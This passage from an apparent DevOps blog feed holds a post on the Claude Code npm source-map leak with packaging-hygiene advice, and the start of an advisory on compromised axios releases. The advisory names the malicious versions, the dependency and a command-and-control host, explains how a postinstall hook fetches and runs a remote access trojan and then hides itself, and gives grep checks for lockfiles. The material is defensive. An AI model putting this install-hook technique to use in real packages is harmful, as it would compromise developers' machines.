          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Claude Code is Anthropic&#39;s agentic coding tool, a CLI that ships as an npm package. Like many JavaScript tools, the production build minifies the TypeScript source into a single bundled JavaScript file.</p>
<p>The problem: version 2.1.88 included a <code>.js.map</code> file in the published package. Source maps are debugging files that contain a complete mapping from the minified output back to the original source code. They are meant for development, never for production npm packages.</p>
<p>The source map itself was roughly 60 MB. It contained enough information to reconstruct the full original codebase: 512,000+ lines across 1,900 files.</p>
<p>Here is the kicker. <a href="https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo">According to multiple reports</a>, this is the second time this exact mistake happened with Claude Code. A nearly identical source map leak occurred with an earlier version in February 2025.</p>
<h2 id="h2-what-was-exposed-and-what-was-not" class="group relative scroll-mt-24">
        <a href="#h2-what-was-exposed-and-what-was-not" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Was Exposed (and What Was Not)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-was-exposed-and-what-was-not"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The leaked code revealed:</p>
<ul>
<li>The full CLI architecture and command structure</li>
<li>Internal tool definitions and agent orchestration logic</li>
<li>Prompt engineering patterns and system prompts</li>
<li>Unreleased features in development</li>
<li>Internal APIs and data flow</li>
</ul>
<p>What was not exposed:</p>
<ul>
<li>Model weights (these are server-side, not in the CLI)</li>
<li>User data or credentials</li>
<li>API keys or secrets</li>
</ul>
<p>Anthropic acknowledged the incident, stating it was &quot;a release packaging issue caused by human error, not a security breach.&quot; No customer data was involved.</p>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you publish npm packages, Docker images, or any build artifacts, the same class of mistake is waiting for you. Source maps, debug symbols, <code>.env</code> files, internal documentation, test fixtures with real data. All of these end up in production artifacts more often than anyone wants to admit.</p>
<p>The root cause is almost always the same: the CI/CD pipeline does not explicitly strip development artifacts before publishing.</p>
<h2 id="h2-how-to-prevent-this" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-this" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent This
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-this"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-use-npmignore-or-the-files-field" class="group relative scroll-mt-24">
        <a href="#h3-1-use-npmignore-or-the-files-field" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Use .npmignore or the files field
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-use-npmignore-or-the-files-field"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every npm package should either have a <code>.npmignore</code> file or use the <code>files</code> field in <code>package.json</code> to whitelist what gets published.</p>
<p>The whitelist approach is safer because it only includes what you explicitly list:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;files&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-string">&quot;dist/&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;README.md&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;LICENSE&quot;</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>With this config, source maps, test files, source code, and everything else is excluded by default. Only <code>dist/</code>, <code>README.md</code>, and <code>LICENSE</code> ship to npm.</p>
<h3 id="h3-2-disable-source-maps-in-production-builds" class="group relative scroll-mt-24">
        <a href="#h3-2-disable-source-maps-in-production-builds" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Disable source maps in production builds
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-disable-source-maps-in-production-builds"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you use TypeScript or a bundler, make sure source maps are off for production:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;compilerOptions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;sourceMap&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;declarationMap&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>For webpack, esbuild, or other bundlers, set <code>sourcemap: false</code> in production configs.</p>
<h3 id="h3-3-check-what-you-are-publishing-before-you-publish" class="group relative scroll-mt-24">
        <a href="#h3-3-check-what-you-are-publishing-before-you-publish" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Check what you are publishing before you publish
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-check-what-you-are-publishing-before-you-publish"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>npm has a built-in command that shows exactly what will be included in your package:</p>
<pre><code class="hljs language-bash">npm pack --dry-run
</code></pre><p>This lists every file that would be included. Run it in CI before <code>npm publish</code> and fail the build if unexpected files appear:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># In your CI pipeline</span>
npm pack --dry-run 2&gt;&amp;1 | grep -E <span class="hljs-string">&quot;\.map$|\.env|\.test\.&quot;</span> &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;FAIL: unwanted files in package&quot;</span> &amp;&amp; <span class="hljs-built_in">exit</span> 1
</code></pre><h3 id="h3-4-add-a-publish-check-to-cicd" class="group relative scroll-mt-24">
        <a href="#h3-4-add-a-publish-check-to-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Add a publish check to CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-add-a-publish-check-to-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Create a step in your pipeline that validates the package contents:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pack and inspect</span>
npm pack
tar -tzf *.tgz | grep -E <span class="hljs-string">&quot;\.map$|source|\.env|\.test\.&quot;</span> &amp;&amp; <span class="hljs-built_in">exit</span> 1
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Package contents look clean&quot;</span>
</code></pre><h3 id="h3-5-use-npm-provenance" class="group relative scroll-mt-24">
        <a href="#h3-5-use-npm-provenance" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Use npm provenance
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-use-npm-provenance"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you publish to npm, enable <a href="https://docs.npmjs.com/generating-provenance-statements">provenance</a> so consumers can verify that the package was built from a specific commit via CI/CD, not manually published from someone&#39;s laptop:</p>
<pre><code class="hljs language-bash">npm publish --provenance
</code></pre><p>This links every published version to a specific GitHub Actions run, making it harder for compromised credentials to be used for rogue publishes (like the axios attack we covered <a href="/posts/axios-supply-chain-attack-what-happened-and-what-to-do">last week</a>).</p>
<h3 id="h3-6-review-your-docker-images-too" class="group relative scroll-mt-24">
        <a href="#h3-6-review-your-docker-images-too" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. Review your Docker images too
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-review-your-docker-images-too"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The same problem applies to Docker images. Development dependencies, source code, debug tools, and secrets end up in production images all the time.</p>
<pre><code class="hljs language-dockerfile"><span class="hljs-comment"># Bad: everything is in the final image</span>
<span class="hljs-keyword">FROM</span> node:<span class="hljs-number">20</span>
<span class="hljs-keyword">COPY</span><span class="language-bash"> . .</span>
<span class="hljs-keyword">RUN</span><span class="language-bash"> npm install</span>
<span class="hljs-keyword">RUN</span><span class="language-bash"> npm run build</span>

<span class="hljs-comment"># Better: multi-stage build, only ship what you need</span>
<span class="hljs-keyword">FROM</span> node:<span class="hljs-number">20</span> AS builder
<span class="hljs-keyword">COPY</span><span class="language-bash"> . .</span>
<span class="hljs-keyword">RUN</span><span class="language-bash"> npm install</span>
<span class="hljs-keyword">RUN</span><span class="language-bash"> npm run build</span>

<span class="hljs-keyword">FROM</span> node:<span class="hljs-number">20</span>-slim
<span class="hljs-keyword">COPY</span><span class="language-bash"> --from=builder /app/dist ./dist</span>
<span class="hljs-keyword">COPY</span><span class="language-bash"> --from=builder /app/node_modules ./node_modules</span>
</code></pre><h2 id="h2-what-the-claude-code-creator-said" class="group relative scroll-mt-24">
        <a href="#h2-what-the-claude-code-creator-said" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the Claude Code Creator Said
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-claude-code-creator-said"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Boris Cherny, the creator of Claude Code, <a href="https://x.com/bcherny/status/2039207155069505693">responded directly on X</a>: &quot;It was human error. Our deploy process has a few manual steps, and we didn&#39;t do one of the steps correctly.&quot;</p>
<p>What he said next is the most interesting part for DevOps teams: &quot;The counter-intuitive answer is to solve the problem by finding ways to go faster, rather than introducing more process. In this case more automation and claude checking the results.&quot;</p>
<p>That is a textbook SRE response. When something breaks because a human missed a step, the fix is not to add another checklist item that a different human will eventually miss. The fix is to remove the human from that step entirely. Automate the check. Let CI catch it. In their case, they are even using their own AI to validate the results.</p>
<h2 id="h2-the-repeat-problem" class="group relative scroll-mt-24">
        <a href="#h2-the-repeat-problem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Repeat Problem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-repeat-problem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The most concerning aspect of this incident is not the leak itself. It is that <a href="https://venturebeat.com/technology/claude-codes-source-code-appears-to-have-leaked-heres-what-we-know/">this is the second time it happened</a> with the same product, with a nearly identical source map leak in February 2025.</p>
<p>That is exactly why Boris&#39;s response matters. After the first incident, the fix was apparently procedural (a manual step). The manual step was missed again. Now they are moving toward automation, which is the correct long-term fix.</p>
<p>For your own team, the takeaway is clear: when you fix a packaging mistake, fix it in the pipeline, not just in the config. A human will forget. A CI step will not.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Use the <code>files</code> whitelist in <code>package.json</code>.</strong> Explicitly list what ships. Everything else stays behind.</li>
<li><strong>Disable source maps in production builds.</strong> If they are not needed by consumers, do not generate them.</li>
<li><strong>Run <code>npm pack --dry-run</code> in CI.</strong> Catch unwanted files before they hit the registry.</li>
<li><strong>Check Docker images too.</strong> Run <code>docker history</code> and <code>dive</code> to inspect what is in your production images.</li>
<li><strong>Fix mistakes in the pipeline, not just the config.</strong> If it happened once, it will happen again unless CI prevents it.</li>
</ol>
<p>This is not about pointing fingers at Anthropic. Every team that publishes packages or images is one misconfigured build step away from the same mistake. The difference is whether your pipeline catches it before your users do.</p>
<p><em>Sources: <a href="https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo">Dev.to</a>, <a href="https://venturebeat.com/technology/claude-codes-source-code-appears-to-have-leaked-heres-what-we-know">VentureBeat</a>, <a href="https://www.theregister.com/2026/03/31/anthropic_claude_code_source_code/">The Register</a>, <a href="https://cybersecuritynews.com/claude-code-source-code-leaked/">CyberSecurityNews</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Axios Supply Chain Attack: What DevOps Teams Need to Know]]></title>
      <link>https://devops-daily.com/posts/axios-supply-chain-attack-what-happened-and-what-to-do</link>
      <description><![CDATA[A compromised npm maintainer account led to malicious axios versions deploying a RAT across macOS, Windows, and Linux. Here is what happened, how to check if you are affected, and how to prevent this in your pipeline.]]></description>
      <pubDate>Tue, 31 Mar 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/axios-supply-chain-attack-what-happened-and-what-to-do</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[npm]]></category><category><![CDATA[nodejs]]></category><category><![CDATA[devops]]></category><category><![CDATA[cicd]]></category>
      <content:encoded><![CDATA[<p>If you run anything in the JavaScript ecosystem, pay attention. On March 31, 2026, attackers compromised the npm account of a lead axios maintainer and published two backdoored versions that deploy a remote access trojan. Axios is downloaded somewhere between 100 and 300 million times per week, making this one of the most impactful supply chain attacks in npm history.</p>
<p>Here is what happened, how to check if your systems are affected, and what to change in your pipelines so you are not the next victim.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>Affected versions</td>
<td><code>axios@1.14.1</code> and <code>axios@0.30.4</code></td>
</tr>
<tr>
<td>Safe versions</td>
<td><code>axios@1.14.0</code> and <code>axios@0.30.3</code></td>
</tr>
<tr>
<td>Malicious dependency</td>
<td><code>plain-crypto-js@4.2.1</code></td>
</tr>
<tr>
<td>C2 server</td>
<td><code>sfrclak.com:8000</code></td>
</tr>
<tr>
<td>Platforms targeted</td>
<td>macOS, Windows, Linux</td>
</tr>
<tr>
<td>Window of exposure</td>
<td>Starting 2026-03-31T00:21:58Z</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>An attacker gained access to the npm credentials of an axios maintainer. They changed the account email to an anonymous ProtonMail address and published two versions manually, completely bypassing the project&#39;s GitHub Actions CI/CD pipeline. Neither <code>1.14.1</code> nor <code>0.30.4</code> has a corresponding GitHub tag or release. They were ghost releases, pushed directly to the npm registry.</p>
<p>The timing was deliberate. The malicious dependency <code>plain-crypto-js@4.2.1</code> was staged on npm roughly 18 hours before the axios versions went live. Both release branches (v1.x and v0.x) were compromised within 39 minutes of each other. This was not a rushed, opportunistic attack. Somebody planned this.</p>
<h2 id="h2-how-the-malware-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-malware-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Malware Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-malware-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The axios package code itself looks clean. The attack hides in the dependency tree.</p>
<p>Both malicious axios versions add <code>plain-crypto-js</code> as a dependency. That package has nothing to do with cryptography. Its only purpose is to run a <code>postinstall</code> script that:</p>
<ol>
<li>Detects your operating system (macOS, Windows, or Linux)</li>
<li>Downloads a platform-specific payload from a command-and-control server</li>
<li>Executes the payload</li>
<li>Deletes itself and overwrites its own <code>package.json</code> with a clean stub</li>
</ol>
<p>After the payload runs, inspecting <code>node_modules/plain-crypto-js</code> shows nothing suspicious. The malware erased its own tracks.</p>
<p>The payload itself is a remote access trojan (RAT) that gives the attacker persistent access to the compromised machine.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Run these checks immediately.</p>
<h3 id="h3-check-your-lockfiles" class="group relative scroll-mt-24">
        <a href="#h3-check-your-lockfiles" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check your lockfiles
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-lockfiles"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Check for the malicious versions</span>
grep -r <span class="hljs-string">&quot;axios@1.14.1\|axios@0.30.4\|plain-crypto-js&quot;</span> package-lock.json yarn.lock pnpm-lock.yaml 2&gt;/dev/null
</code></pre><p>If you get any matches, your project pulled in the compromised version.</p>
<h3 id="h3-check-node_modules-directly" class="group relative scroll-mt-24">
        <a href="#h3-check-node_modules-directly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check node_modules directly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-node_modules-directly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Check installed version</span>
<span class="hljs-built_in">cat</span> node_modules/axios/package.json | grep version

<span class="hljs-comment"># Check for the malicious dependency</span>
